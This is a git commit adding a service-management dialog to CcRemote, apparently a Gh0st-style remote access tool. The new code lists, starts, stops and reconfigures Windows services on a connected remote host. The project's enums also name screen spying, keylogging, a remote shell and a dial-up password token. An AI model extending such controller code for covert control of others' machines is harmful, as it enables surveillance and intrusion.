add service 控制端

This commit is contained in:
Cc28257 2020-06-20 18:34:15 +08:00
parent b2c6fc3a23
commit 84c52cb895
16 changed files with 351 additions and 12 deletions

Binary file not shown.

View File

@ -0,0 +1,223 @@
// CServerDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CServerDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
// CServerDlg 对话框
IMPLEMENT_DYNAMIC(CServerDlg, CDialog)
CServerDlg::CServerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_SERVERDLG, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
}
CServerDlg::~CServerDlg()
{
}
void CServerDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST, m_list);
}
BEGIN_MESSAGE_MAP(CServerDlg, CDialog)
ON_WM_SIZE()
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CServerDlg::OnNMRClickList)
ON_COMMAND(IDM_SERVER_REFUBISH, &CServerDlg::OnServerRefubish)
ON_COMMAND(IDM_SERVER_START, &CServerDlg::OnServerStart)
ON_COMMAND(IDM_SERVER_STOP, &CServerDlg::OnServerStop)
ON_COMMAND(IDM_SERVER_AUTO, &CServerDlg::OnServerAuto)
ON_COMMAND(IDM_SERVER_MANUAL, &CServerDlg::OnServerManual)
END_MESSAGE_MAP()
// CServerDlg 消息处理程序
BOOL CServerDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
CString str;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
str.Format("\\\\%s - 服务管理", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
SetWindowText(str);
//HWND hSerHeader = m_list.GetDlgItem(0)->GetSafeHwnd();
//m_serHead.SubclassWindow(hSerHeader);
//SortColumn(m_nSortedCol, m_bAscending);
// m_serHead.InitializeHeader(TRUE);
// m_serHead.EnableAutoSize(TRUE);
// m_serHead.ResizeColumnsToFit();
//初始化列表
m_list.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT);
m_list.InsertColumn(0, "真实名称", LVCFMT_LEFT, 150);
m_list.InsertColumn(1, "显示名称", LVCFMT_LEFT, 260);
m_list.InsertColumn(2, "启动类型", LVCFMT_LEFT, 80);
m_list.InsertColumn(3, "运行状态", LVCFMT_LEFT, 80);
m_list.InsertColumn(4, "可执行文件路径", LVCFMT_LEFT, 260);
//GetServiceList();
ShowServiceList();
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
int CServerDlg::ShowServiceList(void)
{
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
char *DisplayName;
char *ServiceName;
char *serRunway;
char *serauto;
char *serfile;
DWORD dwOffset = 0;
m_list.DeleteAllItems();
for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
DisplayName = lpBuffer + dwOffset;
ServiceName = DisplayName + lstrlen(DisplayName) + 1;
serfile = ServiceName + lstrlen(ServiceName) + 1;
serRunway = serfile + lstrlen(serfile) + 1;
serauto = serRunway + lstrlen(serRunway) + 1;
m_list.InsertItem(i, ServiceName);
m_list.SetItemText(i, 1, DisplayName);
m_list.SetItemText(i, 2, serauto);
m_list.SetItemText(i, 3, serRunway);
m_list.SetItemText(i, 4, serfile);
dwOffset += lstrlen(DisplayName) + lstrlen(ServiceName) + lstrlen(serfile) + lstrlen(serRunway)
+ lstrlen(serauto) + 5;
}
return 0;
}
void CServerDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
if (m_list.m_hWnd == NULL)
{
return;
}
RECT rectClient;
RECT rectList;
GetClientRect(&rectClient);
rectList.left = 0;
rectList.top = 0;
rectList.right = rectClient.right;
rectList.bottom = rectClient.bottom;
m_list.MoveWindow(&rectList);
// TODO: 在此处添加消息处理程序代码
}
void CServerDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
CMenu popMenu;
VERIFY(popMenu.LoadMenu(IDR_MENU_SERVER));
CMenu *p = popMenu.GetSubMenu(0);
ASSERT(p != NULL);
CPoint point;
GetCursorPos(&point);
p->TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, point.x, point.y, this);
*pResult = 0;
}
void CServerDlg::OnServerRefubish()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SERVICELIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
void CServerDlg::OnReceiveComplete(void)
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_SERVERLIST:
ShowServiceList();
break;
default:
// 传输发生异常数据
break;
}
}
void CServerDlg::ServiceConfig(BYTE bCmd)
{
CListCtrl *pListCtrl = NULL;
pListCtrl = &m_list;
// else
// return;
// TODO: Add your command handler code here
DWORD dwOffset = 2;
POSITION pos = pListCtrl->GetFirstSelectedItemPosition(); //iterator for the CListCtrl
// while(pos) //so long as we have a valid POSITION, we keep iterating
// {
int nItem = pListCtrl->GetNextSelectedItem(pos);
CString str1 = pListCtrl->GetItemText(nItem, 0);
char* sername = str1.GetBuffer(0);
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 3 + lstrlen(sername));
lpBuffer[0] = COMMAND_SERVICECONFIG;
lpBuffer[1] = bCmd;
memcpy(lpBuffer + dwOffset, sername, lstrlen(sername) + 1);
// str.Format("%d", LocalSize(lpBuffer));
// AfxMessageBox(str);
m_iocpServer->Send(m_pContext, lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CServerDlg::OnServerStart()
{
// TODO: 在此添加命令处理程序代码
ServiceConfig(1);
}
void CServerDlg::OnServerStop()
{
// TODO: 在此添加命令处理程序代码
ServiceConfig(2);
}
void CServerDlg::OnServerAuto()
{
// TODO: 在此添加命令处理程序代码
ServiceConfig(3);
}
void CServerDlg::OnServerManual()
{
// TODO: 在此添加命令处理程序代码
ServiceConfig(4);
}

View File

@ -0,0 +1,39 @@
#pragma once
#include "include/IOCPServer.h"
// CServerDlg 对话框
class CServerDlg : public CDialog
{
DECLARE_DYNAMIC(CServerDlg)
public:
CServerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CServerDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_SERVERDLG };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()private:
CListCtrl m_list;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
public:
virtual BOOL OnInitDialog();
protected:
int ShowServiceList(void);
public:
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnServerRefubish();
void OnReceiveComplete(void);
void ServiceConfig(BYTE bCmd);
afx_msg void OnServerStart();
afx_msg void OnServerStop();
afx_msg void OnServerAuto();
afx_msg void OnServerManual();
};

Binary file not shown.

View File

@ -208,6 +208,7 @@
<ClInclude Include="CcRemote.h" />
<ClInclude Include="CcRemoteDlg.h" />
<ClInclude Include="CFileManagerDlg.h" />
<ClInclude Include="CServerDlg.h" />
<ClInclude Include="FileTransferModeDlg.h" />
<ClInclude Include="CScreenSpyDlg.h" />
<ClInclude Include="CSettingDlg.h" />
@ -235,6 +236,7 @@
<ClCompile Include="CcRemote.cpp" />
<ClCompile Include="CcRemoteDlg.cpp" />
<ClCompile Include="CFileManagerDlg.cpp" />
<ClCompile Include="CServerDlg.cpp" />
<ClCompile Include="FileTransferModeDlg.cpp" />
<ClCompile Include="CScreenSpyDlg.cpp" />
<ClCompile Include="CSettingDlg.cpp" />

View File

@ -93,6 +93,9 @@
<ClInclude Include="..\..\common\Audio.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CServerDlg.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CcRemote.cpp">
@ -149,6 +152,9 @@
<ClCompile Include="..\..\common\Audio.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CServerDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="CcRemote.rc">

View File

@ -86,7 +86,7 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
ON_MESSAGE(WM_OPENSERVERDIALOG, OnOpenServerDialog)
//-------------系统-------------
ON_WM_SYSCOMMAND()
@ -559,6 +559,8 @@ void CCcRemoteDlg::OnOnlineRegist()
void CCcRemoteDlg::OnOnlineServer()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SERVICES; //赋值一个宏 然后发送到服务端服务端COMMAND_SYSTEM
SendSelectCommand(&bToken, sizeof(BYTE));
}
@ -808,6 +810,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
case SHELL_DLG:
((CShellDlg *)dlg)->OnReceiveComplete();
break;
case SERVER_DLG:
((CServerDlg *)dlg)->OnReceiveComplete();
break;
default:
break;
}
@ -871,6 +876,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
case TOKEN_SHELL_START:
g_pCcRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_SERVERLIST:
g_pCcRemoteDlg->PostMessage(WM_OPENSERVERDIALOG, 0, (LPARAM)pContext);
break;
// 命令停止当前操作
default:
closesocket(pContext->m_Socket);
@ -1081,6 +1089,21 @@ LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
return 0;
}
//服务管理窗口
LRESULT CCcRemoteDlg::OnOpenServerDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CServerDlg *dlg = new CServerDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
// 设置父窗口为卓面
dlg->Create(IDD_SERVERDLG, GetDesktopWindow()); //创建对话框
dlg->ShowWindow(SW_SHOW); //显示对话框
pContext->m_Dialog[0] = SERVER_DLG; //这个值用做服务端再次发送数据时的标识
pContext->m_Dialog[1] = (int)dlg;
//先看一下这个对话框的界面再看这个对话框类的构造函数
return 0;
}
//绘制背景图片
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)

View File

@ -10,6 +10,7 @@
#include "CScreenSpyDlg.h"
#include "CFileManagerDlg.h"
#include "CAudioDlg.h"
#include "CServerDlg.h"
#pragma once
@ -105,6 +106,7 @@ public:
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
afx_msg LRESULT OnOpenServerDialog(WPARAM, LPARAM);
//-------------系统消息处理-------------
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);

View File

@ -1,2 +1,36 @@
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
f:\myapp\ccremote\ccremote\ccremote\debug\audio.obj
f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
f:\myapp\ccremote\ccremote\ccremote\debug\inputdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj
f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cserverdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.obj
f:\myapp\ccremote\ccremote\ccremote\debug\caudiodlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\iocpserver.obj
f:\myapp\ccremote\ccremote\ccremote\debug\buffer.obj
f:\myapp\ccremote\bin\ccremote.exe
f:\myapp\ccremote\bin\ccremote.ilk
f:\myapp\ccremote\bin\ccremote.pdb
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog

View File

@ -13,8 +13,8 @@ f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(171): warning C4996: 'inet_n
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(314): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(337): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(833): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(915): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(838): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(923): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
CFileManagerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
@ -34,6 +34,9 @@ f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129:
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”可能丢失数据
CServerDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
FileTransferModeDlg.cpp
CScreenSpyDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings

Binary file not shown.

View File

@ -43,15 +43,17 @@ enum
WM_OPENKEYBOARDDIALOG, // 打开键盘记录窗口
WM_OPENPSLISTDIALOG, // 打开进程管理窗口
WM_OPENSHELLDIALOG, // 打开shell窗口
WM_OPENSERVERDIALOG, // 打开服务窗口
WM_RESETPORT, // 改变端口
//////////////////////////////////////////////////////////////////////////
FILEMANAGER_DLG = 1,
SCREENSPY_DLG,
FILEMANAGER_DLG = 1, // 文件管理
SCREENSPY_DLG, // 屏幕
WEBCAM_DLG,
AUDIO_DLG,
KEYBOARD_DLG,
SYSTEM_DLG,
SHELL_DLG
AUDIO_DLG, // 语音管理
KEYBOARD_DLG, // 键盘 未实现
SYSTEM_DLG, // 进程
SHELL_DLG, // shell管理
SERVER_DLG // 服务管理
};

View File

@ -18,6 +18,8 @@
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#include <afxwin.h>
#endif //PCH_H

Binary file not shown.

Binary file not shown.

View File

@ -74,7 +74,9 @@ enum
COMMAND_OPEN_URL_SHOW, // 其它管理 - 显示打开网页
COMMAND_RENAME_REMARK, // 重命名备注
COMMAND_REPLAY_HEARTBEAT, // 回复心跳包
COMMAND_SERVICES, // 服务管理
COMMAND_SERVICELIST, // 刷新服务列表
COMMAND_SERVICECONFIG, // 服务端发出的标识
// 服务端发出的标识
TOKEN_AUTH = 100, // 要求验证
@ -111,7 +113,8 @@ enum
TOKEN_PSLIST, // 进程列表
TOKEN_WSLIST, // 窗口列表
TOKEN_DIALUPASS, // 拨号密码
TOKEN_SHELL_START // Ô¶³ÌÖÕ¶Ë¿ªÊ¼
TOKEN_SHELL_START, // 远程终端开始
TOKEN_SERVERLIST // 服务列表
};